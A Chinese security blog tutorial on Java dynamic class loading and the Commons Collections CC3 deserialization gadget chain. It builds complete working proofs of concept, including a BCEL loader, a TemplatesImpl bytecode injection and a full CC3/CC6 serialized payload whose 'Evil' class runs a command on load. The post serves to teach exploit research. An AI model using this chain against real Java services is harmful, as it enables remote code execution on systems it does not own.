动态加载字节码与CC3学习

 Von's Blog     2021-10-16   19618 words    & views

前言

在前面我们学习了CC1和CC6,这两条链的最终利用点都是通过InvokerTransformer.transform方法进而执行Runtime.exec方法来实现命令执行的,但在一些反序列化过滤器中,例如InvokerTransformer这样的类是不能被通过的。在这种情况下,CC3就应运而生了,CC3并没有使⽤到InvokerTransformer来调⽤任意⽅法,而是通过动态类加载来实现命令执行,所以首先本文我们先来学习动态类加载。

动态类加载

什么是类加载

我们都知道Java的一次编译,随意运行是通过.class文件实现的,即在不同平台上编译的字节码文件(.class)文件是相同的。而类加载简单来说就是将字节码文件从磁盘中加载到内存中的过程。而从之前的学习中我们知道在类加载的过程(在初始化阶段)中会执行静态代码块。

在执行某个操作时会执行代码是漏洞利用的一个重要攻击面(如反序列化中会执行readObject方法),相当于给攻击者提供了一个攻击入口点。

什么是动态类加载

其实所谓的动态类加载和静态类加载,可能有的人望文生义:静态类加载是在编译时就进行加载,而动态类加载是在运行时才进行的类加载。而事实中并非如此,在Java中,所有的类加载都是只有运行到相应代码时才会进行加载,并不会在编译时就执行类加载。

静态类加载通常指的是编译时就能够完全确定的类名引用,而动态类加载指的是运行时根据计算得出的类名进行加载。以下面代码为例:

Student stu = new Student(1,"Mike");
long l = System.currentTimeMillis();
if (1 == l){
  Cat cat = new Cat("Su");
  Class.forName("com.test.A");
}

其中的Student类和Cat类执行的是静态类加载(日常接触最多的静态类加载的方式就是通过new关键字新建一个对象)。编译器在编译这段代码时必须已经知道Student和Cat类的存在以及它们的结构信息。这包括类的构造方法、成员变量和方法的签名。这段代码中尽管if语句中的代码可以说基本上不会被执行到,但是静态类加载会在编译的时候检查所有依赖的类调用(比方说是否存在这个类,构造方法传参是否可行等)

而像Class.forName这种类加载方法,则是在运行时被调用并且在那时才动态地加载指定的类,比方说我们可以根据一系列复杂的逻辑来生成方法中传递的参数来得到传参到Class.forName中的参数内容,这给我们开发提供了更大的灵活性。

Class.forName()

首先正如我们上面提到的,Class.forName()方法就是一个进行动态类加载的方式,通过Class.forName()加载一个类实际上会完成类加载的完整流程(加载-链接-初始化),forName方法的另一个重载形式接受三个参数:

public static Class<?> forName(String name, boolean initialize, ClassLoader loader)

其中第二个参数可以指定是否进行初始化,当指定会False时,forName方法得到类对象时只会进行加载和链接,不会进行初始化(意味着不会执行静态代码块)

类加载的流程

对于任意一个不需要由Bootstrap ClassLoader加载的Class(Bootstrap ClassLoader的相关内容均是底层C实现,不在我们研究范围),其在进行类加载时本质上都是经过了以下几个方法调用:

ClassLoader.loadClass()  --->  URLClassLoader.findClass()  ---> ClassLoader.defineClass()

首先ClassLoader.loadClass()本身就会执行类加载过程(那是自然)

public Class<?> loadClass(String name) throws ClassNotFoundException 

但是其并不会执行初始化过程,只会执行加载-链接。

对于URLClassLoader,其是我们平时所使用的ExtClassLoader和AppClassLoader的直接父类,其提供了很有意思的功能,即能在构造函数中接受一个URL,并根据URL的协议不同来寻找并加载不同的类,具体规则为:

  • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
  • URL以斜杠 / 结尾,且协议名是file ,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件
  • URL以斜杠 / 结尾,且协议名不是file ,则使用最基础的Loader来寻找类

其中最可能被利用的地方在于我们可以利用http协议远程加载任意类

URLClassLoader urlClassLoader= new URLClassLoader(new URL[]{new URL("http://xxxx/")});
urlClassLoader.loadClass("Hello");

以此为例,可以实现远程加载http://xxx/Hello.class

对于最后最核心的ClassLoader.defineClass()方法,其是一切类加载的源头,不过由于该方法的修饰为protected,因此我们需要利用反射来进行调用

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/IdeaProjects/RMI_learning/target/classes/CC3/Cat.class"));
defineClass.invoke(ClassLoader.getSystemClassLoader(),"Cat",code,0,code.length);

其中defineClass的四个参数分别含义为:

  1. String name:预期的类名,这个参数可以为null,类加载器会自动检测这个类的名称。
  2. byte[] b:这是包含类定义的字节码的字节数组。
  3. int off:类定义开始的初始偏移量。
  4. int len:类定义的长度(以字节为单位)。

最后需要注意的是,类加载的这三个相关方法,都只执行了类加载中的加载–链接而并没有执行初始化,若要在这三个利用点的基础上实现命令执行的效果,我们通常需要实例化对象以执行静态代码块或构造代码块。

Unsafe加载

sun.misc.Unsafe中也定义了一个defineClass方法:

public native Class<?> defineClass(String name, byte[] b, int off, int len, ClassLoader loader, ProtectionDomain protectionDomain);

本来这是一个public属性的方法,但是Unsafe类其实和Runtime类一样是单例模式,即构造方法反倒是private修饰的,我们只能通过theUnsafe属性来得到Unsafe对象(当然了,这个属性也是private的,需要通过反射获取):

private static final Unsafe theUnsafe = new Unsafe();
Class<Unsafe> unsafeClass = Unsafe.class;
Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
byte[] code = Files.readAllBytes(Paths.get("/Users/luyanchen/log/Cat.class"));
unsafe.defineClass("Cat",code,0,code.length,ClassLoader.getSystemClassLoader(),null);

BCEL

com.sun.org.apache.bcel是一个java内置的包,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。bcel包中定义了一个ClassLoader并且实现了自己的loadClass方法,该方法可以理解为当传入的class_name存在$$BCEL$$时,利用传入的class_name来直接构建class对象,并且与常规的loadClass方法不同,java.lang包下的loadClass方法传入的class_name只是单纯的类名称,后续ClassLoader再根据双亲委派模型去使用不同的加载器寻找class对象。

而bcel包自定义的loadClass方法中传入的class_name实际上已经是满足BCEL规范的字节码了,相当于他的loadClass方法将传统的类加载的方法调用做了以下变换:

ClassLoader.loadClass()  --->  URLClassLoader.findClass()  ---> ClassLoader.defineClass()
变换成
BCEL_ClassLoader.loadClass()  ---> ClassLoader.defineClass() (BCEL的ClassLoader最终还是调用了defineClass方法)
protected Class loadClass(String class_name, boolean resolve)
  throws ClassNotFoundException
{
  Class cl = null;

  /* First try: lookup hash table.
     */
  if((cl=(Class)classes.get(class_name)) == null) {
    /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
    for(int i=0; i < ignored_packages.length; i++) {
      if(class_name.startsWith(ignored_packages[i])) {
        cl = deferTo.loadClass(class_name);
        break;
      }
    }

    if(cl == null) {
      JavaClass clazz = null;

      /* Third try: Special request?
         */
      if(class_name.indexOf("$$BCEL$$") >= 0)
        clazz = createClass(class_name);
      else { // Fourth try: Load classes via repository
        if ((clazz = repository.loadClass(class_name)) != null) {
          clazz = modifyClass(clazz);
        }
        else
          throw new ClassNotFoundException(class_name);
      }

      if(clazz != null) {
        byte[] bytes  = clazz.getBytes();
        cl = defineClass(class_name, bytes, 0, bytes.length);
      } else // Fourth try: Use default class loader
        cl = Class.forName(class_name);
    }

    if(resolve)
      resolveClass(cl);
  }

  classes.put(class_name, cl);

  return cl;
}

而我们可以使用以下代码来得到符合BCEL规范的class_name,其中Evil类是我们自定义的恶意类:

JavaClass cls = Repository.lookupClass(Evil.class);
System.out.println("$$BCEL$$"+Utility.encode(cls.getBytes(), true));

完整POC如下:

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;

public class BCEL_test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Class.forName(encode(),true,new ClassLoader());

    }

    public static String encode() throws IOException {
        JavaClass cls = Repository.lookupClass(Evil.class);
        return "$$BCEL$$"+Utility.encode(cls.getBytes(), true);
    }
}

不过需要注意的是,据P神考证,自从JDK8u251开始,BCEL这个包就被删除了,因此在以后的版本中也就不可用了。

CC3

CC3中我们不再利用InvokerTransformer来执行代码而是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl来实现动态类加载进而实现命令执行。

在TemplatesImpl类中定义了一个内部类TransletClassLoader,在内部类中又定义了一个defineClass方法:

static final class TransletClassLoader extends ClassLoader {
  private final Map<String,Class> _loadedExternalExtensionFunctions;

  TransletClassLoader(ClassLoader parent) {
    super(parent);
    _loadedExternalExtensionFunctions = null;
  }

  TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
    super(parent);
    _loadedExternalExtensionFunctions = mapEF;
  }

  public Class<?> loadClass(String name) throws ClassNotFoundException {
    Class<?> ret = null;
    // The _loadedExternalExtensionFunctions will be empty when the
    // SecurityManager is not set and the FSP is turned off
    if (_loadedExternalExtensionFunctions != null) {
      ret = _loadedExternalExtensionFunctions.get(name);
    }
    if (ret == null) {
      ret = super.loadClass(name);
    }
    return ret;
  }

  /**
         * Access to final protected superclass member from outer class.
         */
  Class defineClass(final byte[] b) {
    return defineClass(null, b, 0, b.length);
  }
}

我们再往上跟调用defineClass的方法,发现TemplatesImpl类中的defineTransletClasses()调用了defineClass()

private void defineTransletClasses()
  throws TransformerConfigurationException {

  if (_bytecodes == null) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
    throw new TransformerConfigurationException(err.toString());
  }

  TransletClassLoader loader = (TransletClassLoader)
    AccessController.doPrivileged(new PrivilegedAction() {
      public Object run() {
        return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
      }
    });

  try {
    final int classCount = _bytecodes.length;
    _class = new Class[classCount];

    if (classCount > 1) {
      _auxClasses = new HashMap<>();
    }

    for (int i = 0; i < classCount; i++) {
      _class[i] = loader.defineClass(_bytecodes[i]);
      final Class superClass = _class[i].getSuperclass();

      // Check if this is the main class
      if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
        _transletIndex = i;
      }
      else {
        _auxClasses.put(_class[i].getName(), _class[i]);
      }
    }

    if (_transletIndex < 0) {
      ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
      throw new TransformerConfigurationException(err.toString());
    }
  }
  catch (ClassFormatError e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
  }
  catch (LinkageError e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
  }
}

但是由于defineTransletClasses()仍然是private修饰的方法,我们再往上查询相关调用,发现getTransletInstance()方法中调用了defineTransletClasses(),而且我们注意到这个方法中执行完defineTransletClasses()后使用了newInstance()进行了初始化,因此也就相当于我们只要能进行类加载,就能执行静态代码块执行命令了。

private Translet getTransletInstance()
  throws TransformerConfigurationException {
  try {
    if (_name == null) return null;

    if (_class == null) defineTransletClasses();

    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setServicesMechnism(_useServicesMechanism);
    translet.setAllowedProtocols(_accessExternalStylesheet);
    if (_auxClasses != null) {
      translet.setAuxiliaryClasses(_auxClasses);
    }

    return translet;
  }
  catch (InstantiationException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
  }
  catch (IllegalAccessException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
  }
}

老规矩,继续查询getTransletInstance()的上层调用点,找到了newTransformer():

public synchronized Transformer newTransformer()
  throws TransformerConfigurationException
{
  TransformerImpl transformer;

  transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                    _indentNumber, _tfactory);

  if (_uriResolver != null) {
    transformer.setURIResolver(_uriResolver);
  }

  if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
    transformer.setSecureProcessing(true);
  }
  return transformer;
}

newTransformer()是public的,可以被其他类调用,至此,我们形成了一条局部利用链:

newTransformer() ---> getTransletInstance() ---> defineTransletClasses() ---> defineClass()

我们从上往下看看要怎么才可以成功进入每个条件语句,

首先在getTransletInstance()中:

if (_name == null) return null;
if (_class == null) defineTransletClasses();

需要_name不为null且_class为null才会执行defineTransletClasses();

其次defineTransletClasses()中

if (_bytecodes == null) {
  ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
  throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
  AccessController.doPrivileged(new PrivilegedAction() {
    public Object run() {
      return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
    }
  });

需要_bytecodes不为null且_tfactory要能执行getExternalExtensionsMap()方法,并且在进行类加载后:

for (int i = 0; i < classCount; i++) {
  _class[i] = loader.defineClass(_bytecodes[i]);
  final Class superClass = _class[i].getSuperclass();

  // Check if this is the main class
  if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
  }
  else {
    _auxClasses.put(_class[i].getName(), _class[i]);
  }
}

if (_transletIndex < 0) {
  ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
  throw new TransformerConfigurationException(err.toString());
}

若加载的类的父类名称不为ABSTRACT_TRANSLET,则会在后续抛出一个异常,完整POC如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class main {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
        TemplatesImpl template = new TemplatesImpl();
        setField("_name",template,"Von");
        setField("_bytecodes",template,new byte[][]{Files.readAllBytes(Paths.get("/Users/CC3/Evil.class"))});
        setField("_tfactory",template,new TransformerFactoryImpl());
        template.newTransformer();
    }

    public static void setField(String fieldname,Object obj,Object value) throws NoSuchFieldException, IllegalAccessException {
        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
        Field declaredField = templatesClass.getDeclaredField(fieldname);
        declaredField.setAccessible(true);
        declaredField.set(obj,value);
    }
}

Evil类定义为:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

其实直到这里我们要是将其改成之前的InvokeTransformer形式也能构成Transformer数组进而形成完整的利用链了,但是我们前面提过,CC3的最终目的是构造出一条不需要利用InvokeTransformer也能执行命令的链。这里我们继续往上找调用了newTransformer()的方法,发现com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter的构造函数中就调用了newTransformer()

public TrAXFilter(Templates templates)  throws
  TransformerConfigurationException
{
  _templates = templates;
  _transformer = (TransformerImpl) templates.newTransformer();
  _transformerHandler = new TransformerHandlerImpl(_transformer);
  _useServicesMechanism = _transformer.useServicesMechnism();
}

接下来利用一个新的Transformer InstantiateTransformer来调用TrAXFilter的构造方法:

public Object transform(Object input) {
  try {
    if (input instanceof Class == false) {
      throw new FunctorException(
        "InstantiateTransformer: Input object was not an instanceof Class, it was a "
        + (input == null ? "null object" : input.getClass().getName()));
    }
    Constructor con = ((Class) input).getConstructor(iParamTypes);
    return con.newInstance(iArgs);

  } catch (NoSuchMethodException ex) {
    throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
  } catch (InstantiationException ex) {
    throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
  } catch (IllegalAccessException ex) {
    throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
  } catch (InvocationTargetException ex) {
    throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
  }
}

可以看到其transform方法中就是可以调用input的构造方法,可以说完美符合我们的预期。

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{template});
instantiateTransformer.transform(TrAXFilter.class);

此时已经可以执行命令并且未曾使用InvokeTransformer,而链的其他部分和其他CC链类似只要构造类似的Transformer数组就可以了,这里我将其与CC6结合(原版是和CC1结合)构造完整的POC:

package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
        TemplatesImpl template = new TemplatesImpl();
        setField("_name",template,"Von");
        setField("_bytecodes",template,new byte[][]{Files.readAllBytes(Paths.get("/Users/CC3/Evil.class"))});
        setField("_tfactory",template,new TransformerFactoryImpl());
        ChainedTransformer chainedTransformer = new ChainedTransformer( new Transformer[]{new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{template})});
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry mapentry = new TiedMapEntry(new HashMap(), 'a');
        hashMap.put(mapentry,'b');
        Field mapfield = TiedMapEntry.class.getDeclaredField("map");
        mapfield.setAccessible(true);
        mapfield.set(mapentry,lazymap);
        serialize(hashMap);
        unserialize();
    }

    public static void setField(String fieldname,Object obj,Object value) throws NoSuchFieldException, IllegalAccessException {
        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
        Field declaredField = templatesClass.getDeclaredField(fieldname);
        declaredField.setAccessible(true);
        declaredField.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }

    public static Object unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        Object obj = ois.readObject();
        return obj;
    }
}

Evil类:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

参考文章

P神的Java安全漫谈

Java反序列化CommonsCollections篇(三)-另一种命令执行方式